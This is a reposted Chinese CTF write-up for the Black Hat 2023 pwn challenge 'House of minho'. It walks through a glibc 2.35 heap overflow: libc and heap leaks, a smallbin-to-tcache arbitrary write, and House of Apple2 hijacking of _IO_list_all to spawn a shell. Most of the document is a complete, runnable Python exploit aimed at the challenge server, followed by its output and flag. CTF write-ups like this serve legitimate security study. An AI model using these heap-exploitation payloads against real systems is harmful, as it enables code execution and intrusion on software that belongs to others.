[BlackHat2023]PwnHouseofminho解题报告

admin 2026-09-22 05:24:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为BlackHat2023Pwn题目Houseofminho的解题报告,核心漏洞为堆溢出,通过scanf超长输入触发malloc与realloc,修改TopChunksize泄露libc,利用tcachesafe-linking泄露堆地址,构造smallbin链触发smallbin-to-tcache实现任意写,最终以HouseofApple2劫持IOlist_all执行system获取flag。文章提供完整利用链与代码,可操作性强。 综合评分: 88 文章分类: CTF,二进制安全,漏洞分析


[Black Hat 2023] Pwn House of minho 解题报告

mb_dcvvjyqc mb_dcvvjyqc

看雪学苑

2026年9月20日 18:05 上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

  1. 题目信息
目标:
nc 123.57.66.184 10050

附件:

附件:
minho
main.c
Dockerfile
docker-compose.yml

最终 flag:

flag{bcddada9-b211-4c5d-8d04-282a53b2caff}

参考环境:

Ubuntu 22.04
GLIBC 2.35
PIE: enabled
NX: enabled
Canary: enabled
RELRO: Full RELRO

2.漏洞点分析

源码核心如下:

#define SIZE_SMALL 0x40
#define SIZE_BIG   0x80

char *g_buf;

case 1:
if (getint("Size [1=small / 2=big]: ") == 1) {
        g_buf = malloc(SIZE_SMALL);
    } else {
        g_buf = malloc(SIZE_BIG);
    }

printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
    g_buf[strcspn(g_buf, "\n")] = '\0';
break;

当选择 small 时:

g_buf = malloc(0x40);

但输入时固定读入:

read(0, g_buf, 0x80);

所以 small chunk 存在堆溢出,可以覆盖后续 chunk 的 metadata,包括 size、fd、bk 等字段。

程序限制:

char *g_buf;

全局只有一个指针,delete 后会置空:

free(g_buf);
g_buf = NULL;

所以没有直接 UAF,但可以通过堆溢出、scanf 内部 malloc/realloc、tcache safe-linking 泄露与 smallbin-to-tcache 技巧完成利用。

3.利用总体思路

利用链分四段:

1. 利用 scanf 读超长输入触发 malloc/realloc/free
2. 修改 Top Chunk size,让 Top Chunk 进入 Unsorted Bin,泄露 libc
3. 通过 tcache fd 的 safe-linking key 泄露 heap base
4. 伪造 smallbin 链,触发 smallbin-to-tcache,拿任意写
5. House of Apple2 劫持 _IO_list_all,触发 system("sh")
6. 执行 cat /flag

关键 libc 偏移:

main_arena_unsorted = 0x219ce0
smallbin_0x90_head  = 0x219d60
_IO_list_all        = 0x21a680
_IO_wfile_overflow  = 0x2160d8
system              = 0x50d60

4.libc 泄露

先溢出修改 Top Chunk size:

add(1, b"a" * 0x48 + p64(0xd11))

然后向 scanf(“%d%*c”) 输入超长数字:

sla(b"> ", b"0" * 0xfff + b"2")

scanf 内部会分配较大的缓冲区,大致触发:

malloc(0x800);
realloc(..., 0x1000);
realloc(..., 0x2000);
free(...);

配合被修改过的 Top Chunk size,可以让旧 Top Chunk 进入 Unsorted Bin。

之后通过 small chunk 溢出覆盖并 show:

free()
add(1, b"a" *0x50)
show()
ru(b"a" *0x50)
libc_base = u64(io.recv(6).ljust(8, b"\x00")) -0x219ce0

5.heap 泄露

glibc 2.35 的 tcache fd 使用 safe-linking:

encoded_fd = real_fd ^ (chunk_addr >> 12)

如果泄露 tcache 链表末尾 chunk 的 fd,由于真实 fd 为 0,所以泄露值就是:

heap_base >> 12

因此:

heap_base&nbsp;= leak <<&nbsp;12

对应利用:

free()
add(2, b"a")
free()

add(1, b"a"&nbsp;*0x50)
show()
ru(b"a"&nbsp;*0x50)

heap_base&nbsp;=&nbsp;u64(ru(b"\n")[:-1].ljust(8, b"\x00"))&nbsp;<<12

6.smallbin-to-tcache

目标是构造一个 fake smallbin 链,让 glibc 在从 smallbin 取 chunk 时,把链上的其它 chunk 自动填充进 tcache。

先构造可被合并的 fake chunk:

add(
1,
&nbsp; &nbsp; b"a" *&nbsp;0x10
&nbsp; &nbsp; + p64(0)
&nbsp; &nbsp; +&nbsp;p64(0x31)
&nbsp; &nbsp; +&nbsp;2&nbsp;*&nbsp;p64(heap_base +&nbsp;0x2c0)
&nbsp; &nbsp; +&nbsp;b"a" *&nbsp;0x10
&nbsp; &nbsp; +&nbsp;p64(0x30)
&nbsp; &nbsp; +&nbsp;p64(0xd00)
)
free()

布置哨兵块,避免 malloc/free 检查崩溃:

add(2, b"a" *&nbsp;0x50 + p64(0x90) +&nbsp;p64(0x10) +&nbsp;p64(0) +&nbsp;p64(0x11))
free()

把 fake chunk size 改成 smallbin 大小:

add(1, b"a" *&nbsp;0x10 + p64(0) +&nbsp;p64(0x91))

再次用 scanf 超长输入触发 unsorted bin 遍历,使 fake chunk 进入 smallbin:

sla(b"> ", b"0"&nbsp;* 0xfff + b"2")

然后伪造 smallbin bk 链:

add(1, flat_list([
0,&nbsp;0,
0,&nbsp;0x91, heap_base +&nbsp;0x2c0, heap_base +&nbsp;0x2c0 +&nbsp;0x20,
0,&nbsp;0x91, heap_base +&nbsp;0x2c0, heap_base +&nbsp;0x2c0 +&nbsp;0x40,
0,&nbsp;0x91, heap_base +&nbsp;0x2c0 +&nbsp;0x20, libc_base +&nbsp;0x219d60,
]))
free()

触发 smallbin-to-tcache:

add(2, b"a")
free()

此时可以进行 tcache poisoning,获得一次写 libc 地址的机会。

7.House of Apple2

由于 Full RELRO,不能改 GOT。这里选择劫持:

_IO_list_all

构造 fake _IO_FILE_plus,让程序 exit 时触发:

exit
->&nbsp;_IO_flush_all_lockp
->&nbsp;_IO_wfile_overflow
->system("sh")

关键字段:

wide_data_off&nbsp;=&nbsp;0xa0
vtable_off&nbsp;=&nbsp;0xd8
wide_data_vtable_off&nbsp;=&nbsp;0xe0

_IO_wfile_overflow_ptr&nbsp;= libc_base +&nbsp;0x2160d8
_IO_list_all&nbsp;= libc_base +&nbsp;0x21a680
system&nbsp;= libc_base +&nbsp;0x50d60

写入 fake FILE:

add(2,&nbsp;flat_dict({
0x10: b" &nbsp;sh;",
0x38: system,
0x68:&nbsp;0x71,
0x70: _IO_list_all ^ (heap_base >>&nbsp;12),
}, filler=b"\x00"))

继续补齐 wide_data 和 vtable:

add(2,&nbsp;flat_dict({
&nbsp; &nbsp; wide_data_off -&nbsp;0x60: heap_base +&nbsp;0x2e0 +&nbsp;0xd0 - wide_data_vtable_off,
0xd0 -&nbsp;0x60: heap_base +&nbsp;0x2e0 +&nbsp;0x28 - do_alloc_off,
&nbsp; &nbsp; vtable_off -&nbsp;0x60: _IO_wfile_overflow_ptr - __overflow_off,
}, filler=b"\x00"))

最后劫持 _IO_list_all:

add(2, p64(heap_base +&nbsp;0x2e0))

退出触发:

sla(b"> ", b"4")

8.完整 exploit

保存为:

exp_minho_pure.py

运行:

python3 exp_minho_pure.py 123.57.66.184 10050 --cmd&nbsp;"cat /flag; echo DONE"

完整代码:

import&nbsp;socket, struct, time, argparse

MASK64 = (1&nbsp;<<&nbsp;64) -&nbsp;1

def&nbsp;p64(x):&nbsp;return&nbsp;struct.pack("<Q", x & MASK64)
def&nbsp;u64(b):&nbsp;return&nbsp;struct.unpack("<Q", b.ljust(8,&nbsp;b"\x00")[:8])[0]

def&nbsp;flat_list(items):
&nbsp; &nbsp; out =&nbsp;b""
for&nbsp;x&nbsp;in&nbsp;items:
&nbsp; &nbsp; &nbsp; &nbsp; out += p64(x)&nbsp;if&nbsp;isinstance(x,&nbsp;int)&nbsp;else&nbsp;x
return&nbsp;out

def&nbsp;flat_dict(d, filler=b"\x00"):
&nbsp; &nbsp; maxlen =&nbsp;0
&nbsp; &nbsp; vals = []
for&nbsp;off, val&nbsp;in&nbsp;d.items():
&nbsp; &nbsp; &nbsp; &nbsp; b = p64(val)&nbsp;if&nbsp;isinstance(val,&nbsp;int)&nbsp;else&nbsp;val
&nbsp; &nbsp; &nbsp; &nbsp; vals.append((off, b))
&nbsp; &nbsp; &nbsp; &nbsp; maxlen =&nbsp;max(maxlen, off +&nbsp;len(b))

&nbsp; &nbsp; out =&nbsp;bytearray(filler[:1] * maxlen)
for&nbsp;off, b&nbsp;in&nbsp;vals:
&nbsp; &nbsp; &nbsp; &nbsp; out[off:off +&nbsp;len(b)] = b
return&nbsp;bytes(out)

class&nbsp;Tube:
def&nbsp;__init__(self, host, port, timeout=12):
&nbsp; &nbsp; &nbsp; &nbsp; self.s = socket.create_connection((host, port), timeout=timeout)
&nbsp; &nbsp; &nbsp; &nbsp; self.s.settimeout(timeout)
&nbsp; &nbsp; &nbsp; &nbsp; self.buf =&nbsp;b""

def&nbsp;recv(self, n=4096):
if&nbsp;self.buf:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b = self.buf[:n]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.buf = self.buf[n:]
return&nbsp;b
return&nbsp;self.s.recv(n)

def&nbsp;recvuntil(self, delim, drop=False):
while&nbsp;delim&nbsp;not&nbsp;in&nbsp;self.buf:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = self.s.recv(4096)
if&nbsp;not&nbsp;chunk:
break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.buf += chunk

&nbsp; &nbsp; &nbsp; &nbsp; idx = self.buf.find(delim)
if&nbsp;idx >=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end = idx +&nbsp;len(delim)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out = self.buf[:idx&nbsp;if&nbsp;drop&nbsp;else&nbsp;end]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.buf = self.buf[end:]
return&nbsp;out

&nbsp; &nbsp; &nbsp; &nbsp; out = self.buf
&nbsp; &nbsp; &nbsp; &nbsp; self.buf =&nbsp;b""
return&nbsp;out

def&nbsp;send(self, b):
if&nbsp;isinstance(b,&nbsp;str):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b = b.encode()
&nbsp; &nbsp; &nbsp; &nbsp; self.s.sendall(b)

def&nbsp;sendline(self, b):
if&nbsp;isinstance(b,&nbsp;str):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b = b.encode()
&nbsp; &nbsp; &nbsp; &nbsp; self.send(b +&nbsp;b"\n")

def&nbsp;sendafter(self, delim, b):
&nbsp; &nbsp; &nbsp; &nbsp; self.recvuntil(delim)
&nbsp; &nbsp; &nbsp; &nbsp; self.send(b)

def&nbsp;sendlineafter(self, delim, b):
&nbsp; &nbsp; &nbsp; &nbsp; self.recvuntil(delim)
&nbsp; &nbsp; &nbsp; &nbsp; self.sendline(b)

def&nbsp;clean(self, timeout=0.5):
&nbsp; &nbsp; &nbsp; &nbsp; old = self.s.gettimeout()
&nbsp; &nbsp; &nbsp; &nbsp; self.s.settimeout(timeout)
&nbsp; &nbsp; &nbsp; &nbsp; out = self.buf
&nbsp; &nbsp; &nbsp; &nbsp; self.buf =&nbsp;b""
while&nbsp;True:
try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = self.s.recv(4096)
if&nbsp;not&nbsp;c:
break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out += c
except&nbsp;socket.timeout:
break
&nbsp; &nbsp; &nbsp; &nbsp; self.s.settimeout(old)
return&nbsp;out

def&nbsp;exploit(host, port, cmd):
&nbsp; &nbsp; io = Tube(host, port)

&nbsp; &nbsp; ru = io.recvuntil
&nbsp; &nbsp; sla = io.sendlineafter
&nbsp; &nbsp; sa = io.sendafter

def&nbsp;add(size, content):
&nbsp; &nbsp; &nbsp; &nbsp; sla(b"> ",&nbsp;b"1")
&nbsp; &nbsp; &nbsp; &nbsp; sla(b"Size [1=small / 2=big]: ",&nbsp;str(size).encode())
&nbsp; &nbsp; &nbsp; &nbsp; sa(b"Data: ", content)

def&nbsp;show():
&nbsp; &nbsp; &nbsp; &nbsp; sla(b"> ",&nbsp;b"2")

def&nbsp;free():
&nbsp; &nbsp; &nbsp; &nbsp; sla(b"> ",&nbsp;b"3")

&nbsp; &nbsp; sla(b"> ",&nbsp;b"0"&nbsp;*&nbsp;0xd58&nbsp;+&nbsp;b"3")

&nbsp; &nbsp; add(1,&nbsp;b"a"&nbsp;*&nbsp;0x48&nbsp;+ p64(0xd11))
&nbsp; &nbsp; sla(b"> ",&nbsp;b"0"&nbsp;*&nbsp;0xfff&nbsp;+&nbsp;b"2")

&nbsp; &nbsp; free()
&nbsp; &nbsp; add(1,&nbsp;b"a"&nbsp;*&nbsp;0x50)
&nbsp; &nbsp; show()
&nbsp; &nbsp; ru(b"a"&nbsp;*&nbsp;0x50)

&nbsp; &nbsp; libc_base = u64(io.recv(6)) -&nbsp;0x219ce0
print("[+] libc_base =",&nbsp;hex(libc_base))

&nbsp; &nbsp; free()
&nbsp; &nbsp; add(1,&nbsp;b"a"&nbsp;*&nbsp;0x48&nbsp;+ p64(0xcf1))

&nbsp; &nbsp; free()
&nbsp; &nbsp; add(2,&nbsp;b"a")
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(1,&nbsp;b"a"&nbsp;*&nbsp;0x50)
&nbsp; &nbsp; show()
&nbsp; &nbsp; ru(b"a"&nbsp;*&nbsp;0x50)

&nbsp; &nbsp; heap_base = u64(ru(b"\n", drop=True)) <<&nbsp;12
print("[+] heap_base =",&nbsp;hex(heap_base))

&nbsp; &nbsp; free()

&nbsp; &nbsp; add(
1,
b"a"&nbsp;*&nbsp;0x10
&nbsp; &nbsp; &nbsp; &nbsp; + p64(0)
&nbsp; &nbsp; &nbsp; &nbsp; + p64(0x31)
&nbsp; &nbsp; &nbsp; &nbsp; +&nbsp;2&nbsp;* p64(heap_base +&nbsp;0x2c0)
&nbsp; &nbsp; &nbsp; &nbsp; +&nbsp;b"a"&nbsp;*&nbsp;0x10
&nbsp; &nbsp; &nbsp; &nbsp; + p64(0x30)
&nbsp; &nbsp; &nbsp; &nbsp; + p64(0xd00)
&nbsp; &nbsp; )
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(2,&nbsp;b"a"&nbsp;*&nbsp;0x50&nbsp;+ p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(1,&nbsp;b"a"&nbsp;*&nbsp;0x10&nbsp;+ p64(0) + p64(0x91))
&nbsp; &nbsp; sla(b"> ",&nbsp;b"0"&nbsp;*&nbsp;0xfff&nbsp;+&nbsp;b"2")

&nbsp; &nbsp; free()

&nbsp; &nbsp; add(1, flat_list([
0,&nbsp;0,
0,&nbsp;0x91, heap_base +&nbsp;0x2c0, heap_base +&nbsp;0x2c0&nbsp;+&nbsp;0x20,
0,&nbsp;0x91, heap_base +&nbsp;0x2c0, heap_base +&nbsp;0x2c0&nbsp;+&nbsp;0x40,
0,&nbsp;0x91, heap_base +&nbsp;0x2c0&nbsp;+&nbsp;0x20, libc_base +&nbsp;0x219d60,
&nbsp; &nbsp; ]))
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(2,&nbsp;b"a")
&nbsp; &nbsp; free()

&nbsp; &nbsp; wide_data_off =&nbsp;0xa0
&nbsp; &nbsp; vtable_off =&nbsp;0xd8
&nbsp; &nbsp; wide_data_vtable_off =&nbsp;0xe0

&nbsp; &nbsp; _IO_wfile_overflow_ptr = libc_base +&nbsp;0x2160d8
&nbsp; &nbsp; __overflow_off =&nbsp;0x18
&nbsp; &nbsp; do_alloc_off =&nbsp;0x68

&nbsp; &nbsp; _IO_list_all = libc_base +&nbsp;0x21a680
&nbsp; &nbsp; system = libc_base +&nbsp;0x50d60

&nbsp; &nbsp; add(
1,
b"a"&nbsp;*&nbsp;0x10
&nbsp; &nbsp; &nbsp; &nbsp; + p64(0)
&nbsp; &nbsp; &nbsp; &nbsp; + p64(0x71)
&nbsp; &nbsp; &nbsp; &nbsp; + p64((heap_base +&nbsp;0x2d0&nbsp;+&nbsp;0x70) ^ (heap_base >>&nbsp;12))
&nbsp; &nbsp; )
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(2, flat_dict({
0x10:&nbsp;b" &nbsp;sh;",
0x38: system,
0x68:&nbsp;0x71,
0x70: _IO_list_all ^ (heap_base >>&nbsp;12),
&nbsp; &nbsp; }))
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(2, flat_dict({
&nbsp; &nbsp; &nbsp; &nbsp; wide_data_off -&nbsp;0x60: heap_base +&nbsp;0x2e0&nbsp;+&nbsp;0xd0&nbsp;- wide_data_vtable_off,
0xd0&nbsp;-&nbsp;0x60: heap_base +&nbsp;0x2e0&nbsp;+&nbsp;0x28&nbsp;- do_alloc_off,
&nbsp; &nbsp; &nbsp; &nbsp; vtable_off -&nbsp;0x60: _IO_wfile_overflow_ptr - __overflow_off,
&nbsp; &nbsp; }))
&nbsp; &nbsp; free()

&nbsp; &nbsp; add(2, p64(heap_base +&nbsp;0x2e0))

&nbsp; &nbsp; sla(b"> ",&nbsp;b"4")

&nbsp; &nbsp; time.sleep(0.5)
print("[+] trigger:",&nbsp;repr(io.clean()))

&nbsp; &nbsp; io.sendline(cmd)

&nbsp; &nbsp; out =&nbsp;b""
&nbsp; &nbsp; end = time.time() +&nbsp;5
while&nbsp;time.time() < end:
try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = io.s.recv(4096)
if&nbsp;not&nbsp;chunk:
break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out += chunk
if&nbsp;b"DONE"&nbsp;in&nbsp;out:
break
except&nbsp;socket.timeout:
break

print(out.decode("latin-1",&nbsp;"replace"))

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; ap = argparse.ArgumentParser()
&nbsp; &nbsp; ap.add_argument("host", nargs="?", default="123.57.66.184")
&nbsp; &nbsp; ap.add_argument("port", nargs="?",&nbsp;type=int, default=10050)
&nbsp; &nbsp; ap.add_argument("--cmd", default="cat /flag; echo DONE")
&nbsp; &nbsp; args = ap.parse_args()

&nbsp; &nbsp; exploit(args.host, args.port, args.cmd.encode())

9.结果

执行:

python3 exp_minho_pure.py 123.57.66.184 10050 --cmd&nbsp;"cat /flag; echo DONE"

输出:

[+] libc_base = 0x...
[+] heap_base = 0x...
[+] trigger: b'[+] Bye!\n'
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
DONE

看雪ID:mb_dcvvjyqc

https://bbs.kanxue.com/user-home-946087.htm

*本文为看雪论坛优秀文章,由 mb_dcvvjyqc 原创,转载请注明来自看雪社区

9月10日【议题征集】截止

往期推荐

HTB Nimbus渗透测试靶机 Writeup

当高频观测不再经过异常路径:Shadow Cave 与常驻式插桩架构

D3CTF 2026 d3llvm.apk 反调试定位与加密 SO的Dump

一串反引号,十层突破:n1ctf‑2018‑easy_harder_php 完整利用链

实现一个EDR不可见的网络通信(将lwip移植到nt内核中)

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:看雪学苑 mbdcvvjyqc mbdcvvjyqc《[Black Hat 2023] Pwn House of minho 解题报告》

评论:0   参与:  0